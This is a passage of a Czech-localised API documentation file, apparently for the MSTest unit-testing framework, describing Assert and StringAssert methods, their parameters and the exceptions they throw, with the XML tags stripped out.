pokud - se nerovná . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if refers to the same object - as . - - - - - Testuje, jestli zadané objekty odkazují na různé objekty, - a vyvolá výjimku, pokud tyto dvě zadané hodnoty odkazují na stejný objekt. - - - První objekt, který chcete porovnat. Jedná se o hodnotu, která se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhý objekt, který chcete porovnat. Jedná se o hodnotu vytvořenou testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if refers to the same object - as . - - - - - Testuje, jestli jsou zadané hodnoty stejné, a vyvolá výjimku, - pokud tyto dvě hodnoty stejné nejsou. Rozdílné číselné typy se považují - za nestejné, i když jsou dvě logické hodnoty stejné. 42L se nerovná 42. - - - The type of values to compare. - - - První hodnota, kterou chcete porovnat. Jedná se o hodnotu, kterou test očekává. - - - Druhá hodnota, kterou chcete porovnat. Jedná se o hodnotu vytvořenou testovaným kódem. - - - Thrown if is not equal to . - - - - - Testuje, jestli jsou zadané hodnoty stejné, a vyvolá výjimku, - pokud tyto dvě hodnoty stejné nejsou. Rozdílné číselné typy se považují - za nestejné, i když jsou dvě logické hodnoty stejné. 42L se nerovná 42. - - - The type of values to compare. - - - První hodnota, kterou chcete porovnat. Jedná se o hodnotu, kterou test očekává. - - - Druhá hodnota, kterou chcete porovnat. Jedná se o hodnotu vytvořenou testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if is not equal to - . - - - - - Testuje, jestli jsou zadané hodnoty stejné, a vyvolá výjimku, - pokud tyto dvě hodnoty stejné nejsou. Rozdílné číselné typy se považují - za nestejné, i když jsou dvě logické hodnoty stejné. 42L se nerovná 42. - - - The type of values to compare. - - - První hodnota, kterou chcete porovnat. Jedná se o hodnotu, kterou test očekává. - - - Druhá hodnota, kterou chcete porovnat. Jedná se o hodnotu vytvořenou testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is not equal to - . - - - - - Testuje nerovnost zadaných hodnot a vyvolá výjimku, - pokud si tyto dvě hodnoty jsou rovny. Rozdílné číselné typy se považují - za nestejné, i když jsou logické hodnoty stejné. 42L se nerovná 42. - - - The type of values to compare. - - - První hodnota, kterou chcete porovnat. Jedná se o hodnotu, která se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhá hodnota, kterou chcete porovnat. Jedná se o hodnotu vytvořenou testovaným kódem. - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných hodnot a vyvolá výjimku, - pokud si tyto dvě hodnoty jsou rovny. Rozdílné číselné typy se považují - za nestejné, i když jsou logické hodnoty stejné. 42L se nerovná 42. - - - The type of values to compare. - - - První hodnota, kterou chcete porovnat. Jedná se o hodnotu, která se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhá hodnota, kterou chcete porovnat. Jedná se o hodnotu vytvořenou testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se rovná . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných hodnot a vyvolá výjimku, - pokud si tyto dvě hodnoty jsou rovny. Rozdílné číselné typy se považují - za nestejné, i když jsou logické hodnoty stejné. 42L se nerovná 42. - - - The type of values to compare. - - - První hodnota, kterou chcete porovnat. Jedná se o hodnotu, která se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhá hodnota, kterou chcete porovnat. Jedná se o hodnotu vytvořenou testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se rovná . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is equal to . - - - - - Testuje, jestli jsou zadané objekty stejné, a vyvolá výjimku, - pokud oba objekty stejné nejsou. Rozdílné číselné typy se považují - za nestejné, i když jsou logické hodnoty stejné. 42L se nerovná 42. - - - První objekt, který chcete porovnat. Jedná se o objekt, který test očekává. - - - Druhý objekt, který chcete porovnat. Jedná se o objekt vytvořený testovaným kódem. - - - Thrown if is not equal to - . - - - - - Testuje, jestli jsou zadané objekty stejné, a vyvolá výjimku, - pokud oba objekty stejné nejsou. Rozdílné číselné typy se považují - za nestejné, i když jsou logické hodnoty stejné. 42L se nerovná 42. - - - První objekt, který chcete porovnat. Jedná se o objekt, který test očekává. - - - Druhý objekt, který chcete porovnat. Jedná se o objekt vytvořený testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if is not equal to - . - - - - - Testuje, jestli jsou zadané objekty stejné, a vyvolá výjimku, - pokud oba objekty stejné nejsou. Rozdílné číselné typy se považují - za nestejné, i když jsou logické hodnoty stejné. 42L se nerovná 42. - - - První objekt, který chcete porovnat. Jedná se o objekt, který test očekává. - - - Druhý objekt, který chcete porovnat. Jedná se o objekt vytvořený testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is not equal to - . - - - - - Testuje nerovnost zadaných objektů a vyvolá výjimku, - pokud jsou oba objekty stejné. Rozdílné číselné typy se považují - za nestejné, i když jsou logické hodnoty stejné. 42L se nerovná 42. - - - První objekt, který chcete porovnat. Jedná se o hodnotu, která se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhý objekt, který chcete porovnat. Jedná se o objekt vytvořený testovaným kódem. - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných objektů a vyvolá výjimku, - pokud jsou oba objekty stejné. Rozdílné číselné typy se považují - za nestejné, i když jsou logické hodnoty stejné. 42L se nerovná 42. - - - První objekt, který chcete porovnat. Jedná se o hodnotu, která se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhý objekt, který chcete porovnat. Jedná se o objekt vytvořený testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se rovná . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných objektů a vyvolá výjimku, - pokud jsou oba objekty stejné. Rozdílné číselné typy se považují - za nestejné, i když jsou logické hodnoty stejné. 42L se nerovná 42. - - - První objekt, který chcete porovnat. Jedná se o hodnotu, která se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhý objekt, který chcete porovnat. Jedná se o objekt vytvořený testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se rovná . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is equal to . - - - - - Testuje rovnost zadaných hodnot float a vyvolá výjimku, - pokud nejsou stejné. - - - První plovoucí desetinná čárka, kterou chcete porovnat. Jedná se o plovoucí desetinnou čárku, kterou test očekává. - - - Druhá plovoucí desetinná čárka, kterou chcete porovnat. Jedná se o plovoucí desetinnou čárku vytvořenou testovaným kódem. - - - Požadovaná přesnost. Výjimka bude vyvolána pouze tehdy, pokud - se liší od - o více než . - - - Thrown if is not equal to - . - - - - - Testuje rovnost zadaných hodnot float a vyvolá výjimku, - pokud nejsou stejné. - - - První plovoucí desetinná čárka, kterou chcete porovnat. Jedná se o plovoucí desetinnou čárku, kterou test očekává. - - - Druhá plovoucí desetinná čárka, kterou chcete porovnat. Jedná se o plovoucí desetinnou čárku vytvořenou testovaným kódem. - - - Požadovaná přesnost. Výjimka bude vyvolána pouze tehdy, pokud - se liší od - o více než . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se liší od o více než - . Zpráva je zobrazena ve výsledcích testu. - - - Thrown if is not equal to - . - - - - - Testuje rovnost zadaných hodnot float a vyvolá výjimku, - pokud nejsou stejné. - - - První plovoucí desetinná čárka, kterou chcete porovnat. Jedná se o plovoucí desetinnou čárku, kterou test očekává. - - - Druhá plovoucí desetinná čárka, kterou chcete porovnat. Jedná se o plovoucí desetinnou čárku vytvořenou testovaným kódem. - - - Požadovaná přesnost. Výjimka bude vyvolána pouze tehdy, pokud - se liší od - o více než . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se liší od o více než - . Zpráva je zobrazena ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is not equal to - . - - - - - Testuje nerovnost zadaných hodnot float a vyvolá výjimku, - pokud jsou stejné. - - - První desetinná čárka, kterou chcete porovnat. Toto je desetinná čárka, která se podle testu nemá - shodovat s aktuální hodnotou . - - - Druhá plovoucí desetinná čárka, kterou chcete porovnat. Jedná se o plovoucí desetinnou čárku vytvořenou testovaným kódem. - - - Požadovaná přesnost. Výjimka bude vyvolána pouze tehdy, pokud - se liší od - o maximálně . - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných hodnot float a vyvolá výjimku, - pokud jsou stejné. - - - První desetinná čárka, kterou chcete porovnat. Toto je desetinná čárka, která se podle testu nemá - shodovat s aktuální hodnotou . - - - Druhá plovoucí desetinná čárka, kterou chcete porovnat. Jedná se o plovoucí desetinnou čárku vytvořenou testovaným kódem. - - - Požadovaná přesnost. Výjimka bude vyvolána pouze tehdy, pokud - se liší od - o maximálně . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se rovná nebo se liší o méně než - . Zpráva je zobrazena ve výsledcích testu. - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných hodnot float a vyvolá výjimku, - pokud jsou stejné. - - - První desetinná čárka, kterou chcete porovnat. Toto je desetinná čárka, která se podle testu nemá - shodovat s aktuální hodnotou . - - - Druhá plovoucí desetinná čárka, kterou chcete porovnat. Jedná se o plovoucí desetinnou čárku vytvořenou testovaným kódem. - - - Požadovaná přesnost. Výjimka bude vyvolána pouze tehdy, pokud - se liší od - o maximálně . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se rovná nebo se liší o méně než - . Zpráva je zobrazena ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is equal to . - - - - - Testuje rovnost zadaných hodnot double a vyvolá výjimku, - pokud se neshodují. - - - První dvojitá přesnost, kterou chcete porovnat. Jedná se o dvojitou přesnost, kterou test očekává. - - - Druhá dvojitá přesnost, kterou chcete porovnat. Jedná se o dvojitou přesnost vytvořenou testovaným kódem. - - - Požadovaná přesnost. Výjimka bude vyvolána pouze tehdy, pokud - se liší od - o více než . - - - Thrown if is not equal to - . - - - - - Testuje rovnost zadaných hodnot double a vyvolá výjimku, - pokud se neshodují. - - - První dvojitá přesnost, kterou chcete porovnat. Jedná se o dvojitou přesnost, kterou test očekává. - - - Druhá dvojitá přesnost, kterou chcete porovnat. Jedná se o dvojitou přesnost vytvořenou testovaným kódem. - - - Požadovaná přesnost. Výjimka bude vyvolána pouze tehdy, pokud - se liší od - o více než . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se liší od o více než - . Zpráva je zobrazena ve výsledcích testu. - - - Thrown if is not equal to . - - - - - Testuje rovnost zadaných hodnot double a vyvolá výjimku, - pokud se neshodují. - - - První dvojitá přesnost, kterou chcete porovnat. Jedná se o dvojitou přesnost, kterou test očekává. - - - Druhá dvojitá přesnost, kterou chcete porovnat. Jedná se o dvojitou přesnost vytvořenou testovaným kódem. - - - Požadovaná přesnost. Výjimka bude vyvolána pouze tehdy, pokud - se liší od - o více než . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se liší od o více než - . Zpráva je zobrazena ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is not equal to . - - - - - Testuje nerovnost zadaných hodnot double a vyvolá výjimku, - pokud jsou si rovny. - - - První dvojitá přesnost, kterou chcete porovnat. Jedná se o dvojitou přesnost, která se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhá dvojitá přesnost, kterou chcete porovnat. Jedná se o dvojitou přesnost vytvořenou testovaným kódem. - - - Požadovaná přesnost. Výjimka bude vyvolána pouze tehdy, pokud - se liší od - o maximálně . - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných hodnot double a vyvolá výjimku, - pokud jsou si rovny. - - - První dvojitá přesnost, kterou chcete porovnat. Jedná se o dvojitou přesnost, která se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhá dvojitá přesnost, kterou chcete porovnat. Jedná se o dvojitou přesnost vytvořenou testovaným kódem. - - - Požadovaná přesnost. Výjimka bude vyvolána pouze tehdy, pokud - se liší od - o maximálně . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se rovná nebo se liší o méně než - . Zpráva je zobrazena ve výsledcích testu. - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných hodnot double a vyvolá výjimku, - pokud jsou si rovny. - - - První dvojitá přesnost, kterou chcete porovnat. Jedná se o dvojitou přesnost, která se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhá dvojitá přesnost, kterou chcete porovnat. Jedná se o dvojitou přesnost vytvořenou testovaným kódem. - - - Požadovaná přesnost. Výjimka bude vyvolána pouze tehdy, pokud - se liší od - o maximálně . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se rovná nebo se liší o méně než - . Zpráva je zobrazena ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is equal to . - - - - - Testuje, jestli jsou zadané řetězce stejné, a vyvolá výjimku, - pokud stejné nejsou. Pro porovnání se používá neutrální jazyková verze. - - - První řetězec, který chcete porovnat. Jedná se o řetězec, který test očekává. - - - Druhý řetězec, který se má porovnat. Jedná se o řetězec vytvořený testovaným kódem. - - - Logická hodnota označující porovnání s rozlišováním velkých a malých písmen nebo bez jejich rozlišování. (Hodnota pravda - označuje porovnání bez rozlišování velkých a malých písmen.) - - - Thrown if is not equal to . - - - - - Testuje, jestli jsou zadané řetězce stejné, a vyvolá výjimku, - pokud stejné nejsou. Pro porovnání se používá neutrální jazyková verze. - - - První řetězec, který chcete porovnat. Jedná se o řetězec, který test očekává. - - - Druhý řetězec, který se má porovnat. Jedná se o řetězec vytvořený testovaným kódem. - - - Logická hodnota označující porovnání s rozlišováním velkých a malých písmen nebo bez jejich rozlišování. (Hodnota pravda - označuje porovnání bez rozlišování velkých a malých písmen.) - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if is not equal to . - - - - - Testuje, jestli jsou zadané řetězce stejné, a vyvolá výjimku, - pokud stejné nejsou. Pro porovnání se používá neutrální jazyková verze. - - - První řetězec, který chcete porovnat. Jedná se o řetězec, který test očekává. - - - Druhý řetězec, který se má porovnat. Jedná se o řetězec vytvořený testovaným kódem. - - - Logická hodnota označující porovnání s rozlišováním velkých a malých písmen nebo bez jejich rozlišování. (Hodnota pravda - označuje porovnání bez rozlišování velkých a malých písmen.) - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is not equal to . - - - - - Testuje, jestli jsou zadané řetězce stejné, a vyvolá výjimku, - pokud stejné nejsou. - - - První řetězec, který chcete porovnat. Jedná se o řetězec, který test očekává. - - - Druhý řetězec, který se má porovnat. Jedná se o řetězec vytvořený testovaným kódem. - - - Logická hodnota označující porovnání s rozlišováním velkých a malých písmen nebo bez jejich rozlišování. (Hodnota pravda - označuje porovnání bez rozlišování velkých a malých písmen.) - - - Objekt CultureInfo, který poskytuje informace o porovnání jazykových verzí. - - - Thrown if is not equal to . - - - - - Testuje, jestli jsou zadané řetězce stejné, a vyvolá výjimku, - pokud stejné nejsou. - - - První řetězec, který chcete porovnat. Jedná se o řetězec, který test očekává. - - - Druhý řetězec, který se má porovnat. Jedná se o řetězec vytvořený testovaným kódem. - - - Logická hodnota označující porovnání s rozlišováním velkých a malých písmen nebo bez jejich rozlišování. (Hodnota pravda - označuje porovnání bez rozlišování velkých a malých písmen.) - - - Objekt CultureInfo, který poskytuje informace o porovnání jazykových verzí. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if is not equal to . - - - - - Testuje, jestli jsou zadané řetězce stejné, a vyvolá výjimku, - pokud stejné nejsou. - - - První řetězec, který chcete porovnat. Jedná se o řetězec, který test očekává. - - - Druhý řetězec, který se má porovnat. Jedná se o řetězec vytvořený testovaným kódem. - - - Logická hodnota označující porovnání s rozlišováním velkých a malých písmen nebo bez jejich rozlišování. (Hodnota pravda - označuje porovnání bez rozlišování velkých a malých písmen.) - - - Objekt CultureInfo, který poskytuje informace o porovnání jazykových verzí. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is not equal to . - - - - - Testuje nerovnost zadaných řetězců a vyvolá výjimku, - pokud jsou stejné. Pro srovnání se používá neutrální jazyková verze. - - - První řetězec, který chcete porovnat. Jedná se o řetězec, který se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhý řetězec, který se má porovnat. Jedná se o řetězec vytvořený testovaným kódem. - - - Logická hodnota označující porovnání s rozlišováním velkých a malých písmen nebo bez jejich rozlišování. (Hodnota pravda - označuje porovnání bez rozlišování velkých a malých písmen.) - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných řetězců a vyvolá výjimku, - pokud jsou stejné. Pro srovnání se používá neutrální jazyková verze. - - - První řetězec, který chcete porovnat. Jedná se o řetězec, který se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhý řetězec, který se má porovnat. Jedná se o řetězec vytvořený testovaným kódem. - - - Logická hodnota označující porovnání s rozlišováním velkých a malých písmen nebo bez jejich rozlišování. (Hodnota pravda - označuje porovnání bez rozlišování velkých a malých písmen.) - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se rovná . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných řetězců a vyvolá výjimku, - pokud jsou stejné. Pro srovnání se používá neutrální jazyková verze. - - - První řetězec, který chcete porovnat. Jedná se o řetězec, který se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhý řetězec, který se má porovnat. Jedná se o řetězec vytvořený testovaným kódem. - - - Logická hodnota označující porovnání s rozlišováním velkých a malých písmen nebo bez jejich rozlišování. (Hodnota pravda - označuje porovnání bez rozlišování velkých a malých písmen.) - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se rovná . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných řetězců a vyvolá výjimku, - pokud jsou si rovny. - - - První řetězec, který chcete porovnat. Jedná se o řetězec, který se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhý řetězec, který se má porovnat. Jedná se o řetězec vytvořený testovaným kódem. - - - Logická hodnota označující porovnání s rozlišováním velkých a malých písmen nebo bez jejich rozlišování. (Hodnota pravda - označuje porovnání bez rozlišování velkých a malých písmen.) - - - Objekt CultureInfo, který poskytuje informace o porovnání jazykových verzí. - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných řetězců a vyvolá výjimku, - pokud jsou si rovny. - - - První řetězec, který chcete porovnat. Jedná se o řetězec, který se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhý řetězec, který se má porovnat. Jedná se o řetězec vytvořený testovaným kódem. - - - Logická hodnota označující porovnání s rozlišováním velkých a malých písmen nebo bez jejich rozlišování. (Hodnota pravda - označuje porovnání bez rozlišování velkých a malých písmen.) - - - Objekt CultureInfo, který poskytuje informace o porovnání jazykových verzí. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se rovná . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných řetězců a vyvolá výjimku, - pokud jsou si rovny. - - - První řetězec, který chcete porovnat. Jedná se o řetězec, který se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhý řetězec, který se má porovnat. Jedná se o řetězec vytvořený testovaným kódem. - - - Logická hodnota označující porovnání s rozlišováním velkých a malých písmen nebo bez jejich rozlišování. (Hodnota pravda - označuje porovnání bez rozlišování velkých a malých písmen.) - - - Objekt CultureInfo, který poskytuje informace o porovnání jazykových verzí. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se rovná . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is equal to . - - - - - Testuje, jestli zadaný objekt je instancí očekávaného - typu, a vyvolá výjimku, pokud očekávaný typ není - v hierarchii dědění objektu. - - - Objekt, který podle testu má být zadaného typu - - - Očekávaný typ . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Testuje, jestli zadaný objekt je instancí očekávaného - typu, a vyvolá výjimku, pokud očekávaný typ není - v hierarchii dědění objektu. - - - Objekt, který podle testu má být zadaného typu - - - Očekávaný typ . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - není instancí . Zpráva se - zobrazuje ve výsledcích testu. - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Testuje, jestli zadaný objekt je instancí očekávaného - typu, a vyvolá výjimku, pokud očekávaný typ není - v hierarchii dědění objektu. - - - Objekt, který podle testu má být zadaného typu - - - Očekávaný typ . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - není instancí . Zpráva se - zobrazuje ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Testuje, jestli zadaný objekt není instancí nesprávného - typu, a vyvolá výjimku, pokud zadaný typ je v - hierarchii dědění objektu. - - - Objekt, který podle testu nemá být zadaného typu. - - - Typ, který by hodnotou neměl být. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Testuje, jestli zadaný objekt není instancí nesprávného - typu, a vyvolá výjimku, pokud zadaný typ je v - hierarchii dědění objektu. - - - Objekt, který podle testu nemá být zadaného typu. - - - Typ, který by hodnotou neměl být. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - je instancí . Zpráva je zobrazena ve výsledcích testu. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Testuje, jestli zadaný objekt není instancí nesprávného - typu, a vyvolá výjimku, pokud zadaný typ je v - hierarchii dědění objektu. - - - Objekt, který podle testu nemá být zadaného typu. - - - Typ, který by hodnotou neměl být. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - je instancí . Zpráva je zobrazena ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Vyvolá výjimku AssertFailedException. - - - Always thrown. - - - - - Vyvolá výjimku AssertFailedException. - - - Zpráva, která má být zahrnuta do výjimky. Zpráva je zobrazena ve - výsledcích testu. - - - Always thrown. - - - - - Vyvolá výjimku AssertFailedException. - - - Zpráva, která má být zahrnuta do výjimky. Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Always thrown. - - - - - Vyvolá výjimku AssertInconclusiveException. - - - Always thrown. - - - - - Vyvolá výjimku AssertInconclusiveException. - - - Zpráva, která má být zahrnuta do výjimky. Zpráva je zobrazena ve - výsledcích testu. - - - Always thrown. - - - - - Vyvolá výjimku AssertInconclusiveException. - - - Zpráva, která má být zahrnuta do výjimky. Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Always thrown. - - - - - Statická přetížení operátoru rovnosti se používají k porovnání rovnosti odkazů na instance - dvou typů. Tato metoda by se neměla používat k porovnání rovnosti dvou - instancí. Tento objekt vždy vyvolá Assert.Fail. Ve svých testech - jednotek prosím použijte Assert.AreEqual a přidružená přetížení. - - Objekt A - Objekt B - Vždy nepravda. - - - - Testujte, jestli kód určený delegátem vyvolá přesně danou výjimku typu (a ne odvozeného typu), - a vyvolá - - AssertFailedException - , - pokud kód nevyvolává výjimky nebo vyvolává výjimky typu jiného než . - - - Delegát kódu, který chcete testovat a který má vyvolat výjimku - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Typ výjimky, ke které má podle očekávání dojít - - - - - Testujte, jestli kód určený delegátem vyvolá přesně danou výjimku typu (a ne odvozeného typu), - a vyvolá - - AssertFailedException - , - pokud kód nevyvolává výjimky nebo vyvolává výjimky typu jiného než . - - - Delegujte kód, který chcete testovat a který má vyvolat výjimku. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - nevyvolá výjimku typu . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Typ výjimky, ke které má podle očekávání dojít - - - - - Testujte, jestli kód určený delegátem vyvolá přesně danou výjimku typu (a ne odvozeného typu), - a vyvolá - - AssertFailedException - , - pokud kód nevyvolává výjimky nebo vyvolává výjimky typu jiného než . - - - Delegujte kód, který chcete testovat a který má vyvolat výjimku. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Typ výjimky, ke které má podle očekávání dojít - - - - - Testujte, jestli kód určený delegátem vyvolá přesně danou výjimku typu (a ne odvozeného typu), - a vyvolá - - AssertFailedException - , - pokud kód nevyvolává výjimky nebo vyvolává výjimky typu jiného než . - - - Delegujte kód, který chcete testovat a který má vyvolat výjimku. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - nevyvolá výjimku typu . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Typ výjimky, ke které má podle očekávání dojít - - - - - Testujte, jestli kód určený delegátem vyvolá přesně danou výjimku typu (a ne odvozeného typu), - a vyvolá - - AssertFailedException - , - pokud kód nevyvolává výjimky nebo vyvolává výjimky typu jiného než . - - - Delegujte kód, který chcete testovat a který má vyvolat výjimku. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - nevyvolá výjimku typu . - - - Pole parametrů, které se má použít při formátování . - - - Type of exception expected to be thrown. - - - Thrown if does not throw exception of type . - - - Typ výjimky, ke které má podle očekávání dojít - - - - - Testujte, jestli kód určený delegátem vyvolá přesně danou výjimku typu (a ne odvozeného typu), - a vyvolá - - AssertFailedException - , - pokud kód nevyvolává výjimky nebo vyvolává výjimky typu jiného než . - - - Delegujte kód, který chcete testovat a který má vyvolat výjimku. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - nevyvolá výjimku typu . - - - Pole parametrů, které se má použít při formátování . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Typ výjimky, ke které má podle očekávání dojít - - - - - Testujte, jestli kód určený delegátem vyvolá přesně danou výjimku typu (a ne odvozeného typu), - a vyvolá - - AssertFailedException - , - pokud kód nevyvolává výjimky nebo vyvolává výjimky typu jiného než . - - - Delegát kódu, který chcete testovat a který má vyvolat výjimku - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Třídu spouští delegáta. - - - - - Testujte, jestli kód určený delegátem vyvolá přesně danou výjimku typu (a ne odvozeného typu), - a vyvolá AssertFailedException, pokud kód nevyvolává výjimky nebo vyvolává výjimky typu jiného než . - - Delegát kódu, který chcete testovat a který má vyvolat výjimku - - Zpráva, kterou chcete zahrnout do výjimky, pokud - nevyvolá výjimku typu . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - Třídu spouští delegáta. - - - - - Testujte, jestli kód určený delegátem vyvolá přesně danou výjimku typu (a ne odvozeného typu), - a vyvolá AssertFailedException, pokud kód nevyvolává výjimky nebo vyvolává výjimky typu jiného než . - - Delegát kódu, který chcete testovat a který má vyvolat výjimku - - Zpráva, kterou chcete zahrnout do výjimky, pokud - nevyvolá výjimku typu . - - - Pole parametrů, které se má použít při formátování . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - Třídu spouští delegáta. - - - - - Nahradí znaky null ('\0') řetězcem "\\0". - - - Řetězec, který se má hledat - - - Převedený řetězec se znaky Null nahrazený řetězcem "\\0". - - - This is only public and still present to preserve compatibility with the V1 framework. - - - - - Pomocná funkce, která vytváří a vyvolává výjimku AssertionFailedException - - - název kontrolního výrazu, který vyvolává výjimku - - - zpráva popisující podmínky neplatnosti kontrolního výrazu - - - Parametry - - - - - Ověří parametr pro platné podmínky. - - - Parametr - - - Název kontrolního výrazu - - - název parametru - - - zpráva pro neplatnou výjimku parametru - - - Parametry - - - - - Bezpečně převede objekt na řetězec, včetně zpracování hodnot null a znaků null. - Hodnoty null se převádějí na formát (null). Znaky null se převádějí na \\0. - - - Objekt, který chcete převést na řetězec - - - Převedený řetězec - - - - - Kontrolní výraz řetězce - - - - - Získá instanci typu singleton funkce CollectionAssert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void ContainsWords(this StringAssert cusomtAssert, string value, ICollection substrings)" - Users could then use a syntax similar to the default assertions which in this case is "StringAssert.That.ContainsWords(value, substrings);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Testuje, jestli zadaný řetězec obsahuje zadaný podřetězec, - a vyvolá výjimku, pokud se podřetězec v testovacím řetězci - nevyskytuje. - - - Řetězec, který má obsahovat . - - - Řetězec má být v rozmezí hodnot . - - - Thrown if is not found in - . - - - - - Testuje, jestli zadaný řetězec obsahuje zadaný podřetězec, - a vyvolá výjimku, pokud se podřetězec v testovacím řetězci - nevyskytuje. - - - Řetězec, který má obsahovat . - - - Řetězec má být v rozmezí hodnot . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - není v . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if is not found in - . - - - - - Testuje, jestli zadaný řetězec obsahuje zadaný podřetězec, - a vyvolá výjimku, pokud se podřetězec v testovacím řetězci - nevyskytuje. - - - Řetězec, který má obsahovat . - - - 